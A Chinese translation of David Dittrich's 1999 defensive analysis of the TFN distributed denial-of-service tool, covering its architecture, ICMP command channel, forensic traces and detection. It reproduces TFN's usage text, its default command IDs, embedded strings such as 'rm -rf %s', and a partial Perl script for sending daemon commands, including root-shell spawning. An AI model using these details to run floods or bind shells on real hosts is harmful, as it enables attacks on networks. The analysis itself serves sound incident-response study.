[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 其它 > 正文
族群式DDOS(Tribe Flood Network)攻擊
不詳 (2001-05-19 07:00:00)

David Dittrich 
University of Washington
Copyright 1999. All rights reserved.
October 21, 1999 

翻譯:snowblue
您可以在http://staff.washington.edu/dittrich/misc/tfn.analysis 得到原文 

介紹:
以下是關族群式拒絕服務攻擊(Tribe Flood Network),簡稱TFN,的分析。TFN何另一種DDOS攻擊工具trinoo已在相當數量的Unix系統上獲得實現。關trinoo的分析可以參見另一篇文章。
TFN由客戶機(client)和端口監控程序(daemon)構成,可用來實現分布式拒絕服務攻擊,這種攻擊可以是基ICMP,SYN,UDP,或者是Smurf風格的,並提供一個綁定在TCP端口上的即時響應的命令管理器。
TFN的端口監控程序(daemon)最初以二進制的形式在相當數量的Solaris 2.x系統上被發現,被証明可以利用RPC服務"statd","cmsd"和 "ttdbserverd"的緩沖溢出漏洞。在CERT的Note 99-04種有這種攻擊的描述:
http://www.cert.org/incident_notes/IN-99-04.html
這些端口監控器原來被認為是某種形式的遠程嗅探器或訪問控制器的命令解釋器,可能是用來和嗅探器進行聯系以自動恢復嗅探紀錄的。
在相關入侵的調查中,我們發現了一起使用trinoo network(另一種DDOS攻擊工具,在另一篇文章中有介紹)的DDOS攻擊,並且我們得到了trinoo和TFN的源代碼。一下的分析是基這份源代碼("version 1.3 build 0053")和對較新的端口監控程序的編譯版本的觀察而得到的。
對這份原代碼的改動將導致以下分析細節的改變,如提示符,密碼,命令,TCP/UDP端口號,或者所提供的進攻手段,特征和功能。
端口監控端和客戶端是在Red Hat Linux 6.0系統上被編譯和運行的。
如果想要對系統的初始入侵和網絡的設置過程,可以參見對trinoo網絡的分析。(您可以在網絡論壇www.s8s8.net 得到他,我把它貼在了高級版) 

網絡:
attacker(s)-->client(s)-->daemon(s)-->victim(s) 

FTN網絡是由tribe的客戶端程序(tribe.c)和tribe的端口監控端(td.c)組成的。一個TFN網絡看起來應當是這樣的: 


+----------+ +----------+
| attacker | | attacker |
+----------+ +----------+
| |
. . . --+------+---------------+------+----------------+-- . . .
| | |
| | |
+----------+ +----------+ +----------+
| client | | client | | client |
+----------+ +----------+ +----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| daemon | | daemon | | daemon | | daemon | | daemon |
+--------+ +--------+ +--------+ +--------+ +--------+
攻擊者控制一個或多個客戶端,每一個客戶端能夠控制許多端口監控程序。端口監控端可以接受客戶端的指示對目標系統進行基信息包的進攻。 

通訊:
TFN網絡的遠程控制是通過客戶端程序的命令行方式來執行的,連接可以有許多方法(例如,將shell綁定TCP端口,基UDP的客戶/服務器的shell,基ICMP的客戶服務器的shell如LOKI,SSH終端會話工具,或者就是普通的telnet的TCP終端會話。)
運行客戶端是不需要密碼的,盡管你必須有一個所有的端口監控程序的IP列表文件。
TFN的客戶端和端口監控端之間的通訊是通過ICMP_ECHOREPLY包來完成的。在客戶端和端口監控端之間根本就沒有基TCP或UDP的通訊。(一些網絡監視工具不顯示ICMP包的數據部分,或者不去分析所有大量的ICMP數據,所以實際監控客戶端和端口監控端之間的通訊或許是困難的。參見附錄A關Sniffit version 0.3.7.beta的補丁,使它可以顯示ICMP的數據段,和附錄B關tcpshow.c 1.0的補丁,使它可以顯示ICMP_ECHO 和 ICMP_ECHOREPLY id和順序號。
如果運行程序時不帶任何選項和參數,你將會得到幫助,這將告訴你TFN所支持的命令:
[tribe flood network] (c) 1999 by Mixter 

usage: ./tfn   [ip] [port]
 contains a list of numerical hosts that are ready to flood
 -1 for spoofmask type (specify 0-3), -2 for packet size,
is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp,
4 to bind a rootshell (specify port)
5 to smurf, first ip is target, further ips are broadcasts
[ip] target ip[s], separated by @ if more than one
[port] must be given for a syn flood, 0 = RANDOM 

密碼保護
客戶端是不受密碼保護的,每一條被發向端口監控端的命令都是以16比特二進制數的形式被存放ICMP_ECHOREPLY包的id字段。(順序字段是一個0x0000的常量,這是他看起來像是由ping命令發出的初始信息包。)
這些數字所表示的值是由”config.h”文件所定義的:
#ifndef _CONFIG_H 

/* user defined values for the teletubby flood network */ 

#define HIDEME "tfn-daemon"
#define HIDEKIDS "tfn-child"
#define CHLD_MAX 50 

/* #define ATTACKLOG "attack.log" keep a log of attacks/victims on all
hosts running td for debugging etc. (hint: bad idea) */ 

/* These are like passwords, you might want to change them */ 

#define ID_ACK 123 /* for replies to the client */
#define ID_SHELL 456 /* to bind a rootshell, optional */
#define ID_PSIZE 789 /* to change size of udp/icmp packets */
#define ID_SWITCH 234 /* to switch spoofing mode */
#define ID_STOPIT 567 /* to stop flooding */
#define ID_SENDUDP 890 /* to udp flood */
#define ID_SENDSYN 345 /* to syn flood */
#define ID_SYNPORT 678 /* to set port */
#define ID_ICMP 901 /* to icmp flood */
#define ID_SMURF 666 /* haps! haps! */ 

#define _CONFIG_H
#endif 

正如你所看到的,建議最好改變上面的值,這樣可以防止偶然發現端口監控端的人執行命令。 

痕跡:
就像trinoo一樣,用來安裝客戶端/監控端的方法就和在Unix系統上安裝其他程序的方法一樣。
客戶端和監控端都必須以管理員的身份來運行,這樣他們才能在SOCK_RAW模式下打開AF_INET接口。
客戶端程序需要被提供一張ip列表,所以發現一個客戶端就可以得到監控端的列表(原文這裡是說得到客戶端的列表,懷疑是筆誤 ^_^)。最近對TFN監控端的安裝指出作者以對IP列表文件進行了Blowfish編碼。這就使得到端口監控端位置的工作變得難了。
一下是嵌入到TFN監控端二進制文件中的字串(已被編輯和重新整理,右端為注釋):
blowfish_init
blowfish_encipher
blowfish_decipher 使用Blowfish 進行編碼
encrypt_string
decrypt_string 

serverworks
readmservers
addnewmserver 客戶/服務器的高級功能
delmserver
servcounti 

icmp2
udppsize
icmpsize
spoofing
spooftest
commence_icmp 進攻的標記
commence_udp
commence_syn
floodtime
floodruns 

bind
setsockopt 遠程管理功能
listensocket 

k00lip
fw00ding
k00lntoa
tc: unknown host
rm -rf %s
ttymon
rcp %s@%s:sol.bin %s 嵌入的命令用來上傳文件,
nohup ./%s 刪除文件,和一個特別的IP相聯系
130.243.70.20 (可能是客戶端,或者某個文件的位置)
127.0.0.1
lpsched
sicken
in.telne 

如果”lsof”別用來檢查運行中的監控程序,他只會顯示一個未詳細說明協議的開放接口:
td 5931 root cwd DIR 3,5 1024 240721
/usr/lib/libx/...
td 5931 root rtd DIR 3,1 1024 2 /
td 5931 root txt REG 3,5 297508 240734
/usr/lib/libx/.../td
td 5931 root 3u sock 0,0 92814 can't
identify protocol 

如果遠程的shell已經啟動,監控程序將會分支並顯示出一個新的進程正在監聽TCP端口:
td 5970 root cwd DIR 3,5 1024 240721
/usr/lib/libx/...
td 5970 root rtd DIR 3,1 1024 2 /
td 5970 root txt REG 3,5 297508 240734
/usr/lib/libx/.../td (deleted)
td 5970 root 0u inet 92909 TCP
*:12345 (LISTEN)
td 5970 root 3u sock 0,0 92814 can't
identify protocol 

使用"sniffit"監視網絡通話(附錄A中修改過的),並且運行"ping -c 3 10.0.0.1"(發送三個ICMP_ECHO包,等待ICMP_ECHOREPLY包的返回,並退出)看起來像這樣(為了更明確的表示,刪除了IP頭):
# sniffit -d -a -x -b -s @ -Picmp
Supported Network device found. (eth0)
Sniffit.0.3.7 Beta is up and running.... (192.168.0.1) 

ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo request
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 08 . 00 . 2B + 51 Q 98 . 04 . 00 . 00 . 37 7 FC . 0D . 38 8
02 . 73 s 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7 

ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 33 3 51 Q 98 . 04 . 00 . 00 . 37 7 FC . 0D . 38 8
02 . 73 s 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7 

ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo request
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 08 . 00 . 58 X 61 a 98 . 04 . 01 . 00 . 38 8 FC . 0D . 38 8
D3 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7 

ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 60 ` 61 a 98 . 04 . 01 . 00 . 38 8 FC . 0D . 38 8
D3 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7 

ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo request
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 08 . 00 . 70 p 61 a 98 . 04 . 02 . 00 . 39 9 FC . 0D . 38 8
B9 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7 

ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 78 x 61 a 98 . 04 . 02 . 00 . 39 9 FC . 0D . 38 8
B9 . 62 b 02 . 00 . 08 . 09 . 0A . 0B . 0C . 0D . 0E . 0F . 10 . 11 . 12 . 13 .
14 . 15 . 16 . 17 . 18 . 19 . 1A . 1B . 1C . 1D . 1E . 1F . 20 21 ! 22 " 23 #
24 $ 25 % 26 & 27 ' 28 ( 29 ) 2A * 2B + 2C , 2D - 2E . 2F / 30 0 31 1 32 2 33 3
34 4 35 5 36 6 37 7 

正如你所看到的,一個固定的有效負載(第17字節)被ICMP_ECHO包送往目標機,同樣的有效負載被ICMP_ECHOREPLY包返回。初始的包有一個順序號0(在ICMP包的第7和第8字節),每發送一個包便加一。
通過tcpdump/tcpshow(附錄B中修改過的)可以看到,三個由”ping”發出的信息流應當是這樣:
# tcpdump -lenx -s 1518 icmp | tcpshow -noip -nolink -cooked
tcpdump: listening on eth0
# tcpdump -lenx -s 1518 icmp | tcpshow -noip -nolink -cooked
tcpdump: listening on eth0
Packet 1
ICMP Header
Type: echo-request
Checksum: 0x9B2A
Id: 0x6E03
Sequence: 0x0000
ICMP Data
q..8x.
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 2
ICMP Header
Type: echo-reply
Checksum: 0xA32A
Id: 0x6E03
Sequence: 0x0000
ICMP Data
q..8x.
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 3
ICMP Header
Type: echo-request
Checksum: 0x623A
Id: 0x6E03
Sequence: 0x0001
ICMP Data
r..8..
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 4
ICMP Header
Type: echo-reply
Checksum: 0x6A3A
Id: 0x6E03
Sequence: 0x0001
ICMP Data
r..8..
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 5
ICMP Header
Type: echo-request
Checksum: 0x5A3A
Id: 0x6E03
Sequence: 0x0002
ICMP Data
s..8..
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
Packet 6
ICMP Header
Type: echo-reply
Checksum: 0x623A
Id: 0x6E03
Sequence: 0x0002
ICMP Data
s..8..
..
..................... !"#$%&'()*+,-./01234567
-----------------------------------------------------------------
TFN客戶端,另一方面,使用ICMP_ECHOREPLY包替代ICMP_ECHO來向端口監控端發送命令。這是為了防止監控端的系統返回一個ICMP_ECHOREPLY包。端口監控端然回應(如果必須)客戶端,也是使用ICMP_ECHOREPLY包。有效負載和TFN不同,由這是用來發送命令參數和進行應答的。
ICMP_ECHOREPLY包的id端包含有要執行的命令(16比特)參數以明文ASCII碼的形式放在包的數據段中。
這是一個攻擊者在執行一個命令時可以看到的,這個命令用來在12345端口上監聽:
# ./tfn iplist 4 12345
[tribe flood network] (c) 1999 by Mixter 

[request: bind shell to port 12345]
192.168.0.1: shell bound to port 12345


這是用"sniffit"看到的當這條命令在網絡上傳播時的情況(IP頭以被刪除):
ICMP message id: 10.0.0.1 > 192.168.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 64 d D1 . 01 . C8 . 00 . 00 . 31 1 32 2 33 3 34 4
35 5 00 . 

ICMP message id: 192.168.0.1 > 10.0.0.1
ICMP type: Echo reply
.. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. .
.. . .. . .. . .. . 00 . 00 . 6C l AE . 00 . 7B { 00 . 00 . 73 s 68 h 65 e 6C l
6C l 20 62 b 6F o 75 u 6E n 64 d 20 74 t 6F o 20 70 p 6F o 72 r 74 t 20
31 1 32 2 33 3 34 4 35 5 0A . 00 . 

使用tcpdump單獨查看,應當是這樣(IP頭已刪除):
# tcpdump -lnx -s 1518 icmp
tcpdump: listening on eth0
05:51:32.706829 10.0.0.1 > 192.168.0.1: icmp: echo reply
.... .... .... .... .... .... .... ....
.... .... 0000 64d1 01c8 0000 3132 3334
3500
05:51:32.741556 192.168.0.1 > 10.0.0.1: icmp: echo reply
.... .... .... .... .... .... .... ....
.... .... 0000 6cae 007b 0000 7368 656c
6c20 626f 756e 6420 746f 2070 6f72 7420
3132 3334 350a 00 

將tcpdump和tcpshow組合使用,更容易看到數據有效負載:
Packet 1
ICMP Header
Type: echo-reply
Checksum: 0x64D1
Id: 0x01C8
Sequence: 0x0000
ICMP Data
12345
-----------------------------------------------------------------
Packet 2
ICMP Header
Type: echo-reply
Checksum: 0x6CAE
Id: 0x007B
Sequence: 0x0000
ICMP Data
shell bound to port 12345
----------------------------------------------------------------------------
正如所看到的,客戶端發送命令0x01c8(十進制456)包含id段,隨是一個順序號0x0000(在代碼中始終是0),隨是ASCII字串12345(定義的端口號),被發送到端口監控程序。
端口監控端用包含id段的命令0x007B(十進制123)回應,隨是順序號0x0000,隨是ASCII字串"shell bound to port 12345\n"。這條字串隨被客戶端同監控端的IP地址一起發送給shell。 

防御:
由程序使用ICMP_ECHOREPLY包來通訊,想要防止它而又不影響其他依賴ICMP的程序是非常困難的。唯一可行的阻止通訊的方法是拒絕想要進入你網絡中的所有ICMP_ECHO通信。
如果不能拒絕這種通訊,那就必須區分出普通使用ICMP_ECHO和由ping這樣的程序使用的ICMP_ECHOREPLY包之間的區別。這將不是一件簡單的工作,尤其是在大型的網絡上。(詳細情況參見LOKI paper) 

弱點:
如果代碼沒有被改動,你可以通過觀察下面的字串來識別TFN的客戶端和端口監控端,這些字串是嵌在程序中的:
# strings - td
. . .
%d.%d.%d.%d
/bin/sh
tfn-daemon
already %s flooding
multiple targets
ICMP flood: %s
tfn-child
SMURF (target@bcast@...): %s
UDP flood: %s
SYN flood: port %d, multiple targets
SYN flood: port %d, %s
ready - size: %d spoof: %d
%s flood terminated
packet size: %d bytes
spoof mask: *.*.*.* (%s)
spoof mask: 1.*.*.* (%s)
spoof mask: 1.1.*.* (%s)
spoof mask: 1.1.1.* (%s)
spoof test: %s
shell bound to port %s
. . .
[0;35m[tribe flood network]
(c) 1999 by
[5mMixter
ICMP
SMURF
. . . 

# strings - tfn
. . .
%d.%d.%d.%d
ERROR reading IP list
[1;37m
[request: change packet size]
[request: change spoofmask]
[request: stop and display status]
[request: udp flood %s]
[request: syn flood [port: %s] %s]
[request: icmp flood %s]
[request: bind shell to port %s]
[request: smurf (target@bcast@...) %s]
[0;0m
[0m%s:
[0;31m
[0;34mtimeout
[1;34m
usage: %s   [ip] [port]
 contains a list of numerical hosts that are ready to flood
 -1 for spoofmask type (specify 0-3), -2 for packet size,
is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp,
4 to bind a rootshell (specify port)
5 to smurf, first ip is target, further ips are broadcasts
[ip] target ip[s], separated by %s if more than one
[port] must be given for a syn flood, 0 = RANDOM
skipping
[0;35m[tribe flood network]
(c) 1999 by
[5mMixter
. . . 

一些近期版本的程序中包含的字串表明新的代碼有了multi-master(替代了單獨的客戶端)的能力,比如trinoo,和對ip列表文件的編碼(推測),masters的列表,甚至有可能對ICMP包的數據部分進行編碼。
較新的版本使用了Berkeley "rcp"命令。在你的網絡上監視”rcp”連接,這些連接應當是快速而連續的,同時是指向網絡外的一個IP地址,將是一個好方法。
由TFN使用了ICMP數據包,要檢測出它是相當困難的,並且這些包可以穿透大多數的防火牆。像"ngrep"這樣的程序不檢測ICMP數據包,所以你不可能簡單的在ICMP的數據段中搜尋字串。
TFN的一個弱點是他不對源ICMP包進行驗証(至少在這次分析的代碼中沒有)。如果命令值仍然是默認值,只需一個信息包就可以關閉一個端口監控程序。(一個叫"civilize"的使用Net::RawIP的Perl腳本可以用來完成這項工作。參見附錄C)。
如果命令的值已經被修改,你仍然可以強制發送所有命令的組合(id段是16比特,所以確切的大小應該是64K)。這足以構成一次ICMP淹沒攻擊(ICMP flood attack),但這仍然是一個可以被利用的潛在的弱點。 

演化及發展:
關DDOS工具的演化,參見對trinoo的分析。
--
David Dittrich  http://staff.washington.edu/dittrich/ 

附錄A:sniffit v. 0.3.7.beta的補丁,可以顯示ICMP的數據負載
------------------------------------------------------------------------- 

------------------------------- cut here -----------------------------------
diff -c sniffit.0.3.7.beta.orig/sn_defines.h sniffit.0.3.7.beta/sn_defines.h
*** sniffit.0.3.7.beta.orig/sn_defines.h Wed Aug 26 12:21:23 1998
--- sniffit.0.3.7.beta/sn_defines.h Wed Oct 20 10:15:41 1999
***************
*** 126,132 ****
#define ICMP_TYPE_3 "Destination unreachable"
#define ICMP_TYPE_4 "Source quench"
#define ICMP_TYPE_5 "Redirect"
! #define ICMP_TYPE_8 "Echo"
#define ICMP_TYPE_11 "Time exceeded"
#define ICMP_TYPE_12 "Parameter problem"
#define ICMP_TYPE_13 "Timestamp"
--- 126,132 ----
#define ICMP_TYPE_3 "Destination unreachable"
#define ICMP_TYPE_4 "Source quench"
#define ICMP_TYPE_5 "Redirect"
! #define ICMP_TYPE_8 "Echo request"
#define ICMP_TYPE_11 "Time exceeded"
#define ICMP_TYPE_12 "Parameter problem"
#define ICMP_TYPE_13 "Timestamp"
***************
*** 134,140 ****
#define ICMP_TYPE_15 "Information request"
#define ICMP_TYPE_16 "Information reply"
#define ICMP_TYPE_17 "Address mask request"
! #define ICMP_TYPE_18 "Adress mask reply"

/*** Services (standardised) *******************************************/
#define FTP_DATA_1 20
--- 134,140 ----
#define ICMP_TYPE_15 "Information request"
#define ICMP_TYPE_16 "Information reply"
#define ICMP_TYPE_17 "Address mask request"
! #define ICMP_TYPE_18 "Address mask reply"

/*** Services (standardised) *******************************************/
#define FTP_DATA_1 20
diff -c sniffit.0.3.7.beta.orig/sniffit.0.3.7.c sniffit.0.3.7.beta/sniffit.0.3.7.c
*** sniffit.0.3.7.beta.orig/sniffit.0.3.7.c Wed Aug 26 12:21:25 1998
--- sniffit.0.3.7.beta/sniffit.0.3.7.c Wed Oct 20 10:15:49 1999
***************
*** 1333,1339 ****
printf ("Unknown ICMP type!\n");
break;
}
! printf ("\n");
return;
}
if (finish < 30) /* nothing yet */
--- 1333,1351 ----
printf ("Unknown ICMP type!\n");
break;
}
! total_length = info.IP_len + info.ICMP_len + info.DATA_len;
! n = 0;
! for (i = 0; i < total_length; i++)
! {
! unsigned char c = sp[PROTO_HEAD + i];
! if (n > 75)
! n = 0, printf ("\n");
! if (DUMPMODE & 1)
! n += printf (" %02X", c);
! if (DUMPMODE & 2)
! n += printf (" %c", isprint (c) ? c : '.');
! }
! printf ("\n\n");
return;
}
if (finish < 30) /* nothing yet */
------------------------------- cut here ----------------------------------- 

附錄B:tcpshow 1.0的補丁,顯示CMP ECHO id/seq
---------------------------------------------------------------------- 

------------------------------- cut here -----------------------------------
diff -c tcpshow.c.orig tcpshow.c
*** tcpshow.c.orig Thu Oct 21 14:12:19 1999
--- tcpshow.c Thu Oct 21 14:22:34 1999
***************
*** 1081,1086 ****
--- 1081,1088 ----
uint2 nskipped;
uint1 type;
char *why;
+ uint2 echo_id;
+ uint2 echo_seq;


type = getbyte(&pkt); nskipped = sizeof(type);
***************
*** 1091,1096 ****
--- 1093,1103 ----
/* Must calculate it from the size of the IP datagram - the IP header. */
datalen -= ICMPHDRLEN;

+ if (type == ECHO_REQ || type == ECHO_REPLY) {
+ echo_id = getword(&pkt); nskipped += sizeof(cksum);
+ echo_seq = getword(&pkt); nskipped += sizeof(cksum);
+ }
+
why = icmpcode(type, code);
if (dataflag) {
printf(
***************
*** 1113,1118 ****
--- 1120,1129 ----
icmptype(type), why? "\n\tBecause:\t\t\t": "", why? why: ""
);
printf("\tChecksum:\t\t\t0x%04X\n", cksum);
+ if (type == ECHO_REQ || type == ECHO_REPLY) {
+ printf("\tId:\t\t\t\t0x%04X\n", echo_id);
+ printf("\tSequence:\t\t\t0x%04X\n", ntohs(echo_seq));
+ }
}

return pkt;
------------------------------- cut here ----------------------------------- 

附錄C:控制TFN端口監控端的Perl腳本"civilize"
---------------------------------------------------------- 

------------------------------- cut here -----------------------------------
#!/usr/bin/perl
#
# civilize v. 1.0
# By Dave Dittrich 
#
# Send commands to TFN daemon(s), causing them to do things like
# spawn shells, stop floods and report status, etc. Using this program
# (and knowledge of the proper daemon "passwords"), you can affect TFN
# daemons externally and monitor packets to verify if a daemon is
# running, etc. You can also brute force attack the "passwords" by
# sending packets until you get the desired reply (or give up.)
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./civilize [options] host1 [host2 [...]]
#
# (This code was hacked from the "macof" program, written by
# Ian Vitek 

require 'getopts.pl';
use Net::RawIP;
require 'netinet/in.ph'; 

$a = new Net::RawIP({icmp => {}});
chop($hostname = `hostname`); 

Getopts('a:c:f:i:vh');
die "usage: $0 [options] iplist\
\t-a arg\t\tSend command argument 'arg' (default \"12345\")\
\t-c val\t\tSend command value 'val' (default 456 - spawn a shell)\
\t-f from_host\t\t(default:$hostname)\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h ); 

# set default values
$opt_i = ($opt_i) ? $opt_i : "eth0";
$opt_a = ($opt_a) ? $opt_a : "12345";
$opt_c = ($opt_c) ? $opt_c : "456"; 

# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);


$s_host = ($opt_h) ? $opt_h : $hostname; 

if ($ARGV[0]) {
open(I,"<$ARGV[0]") || die "could not open file: '$ARGV[0]'";
while () {
chop;
push(@list,$_);
}
close(I);

(http://www.fanqiang.com)
    進入【UNIX論壇

相關文章

======
 

★  樊強制作 歡迎分享  ★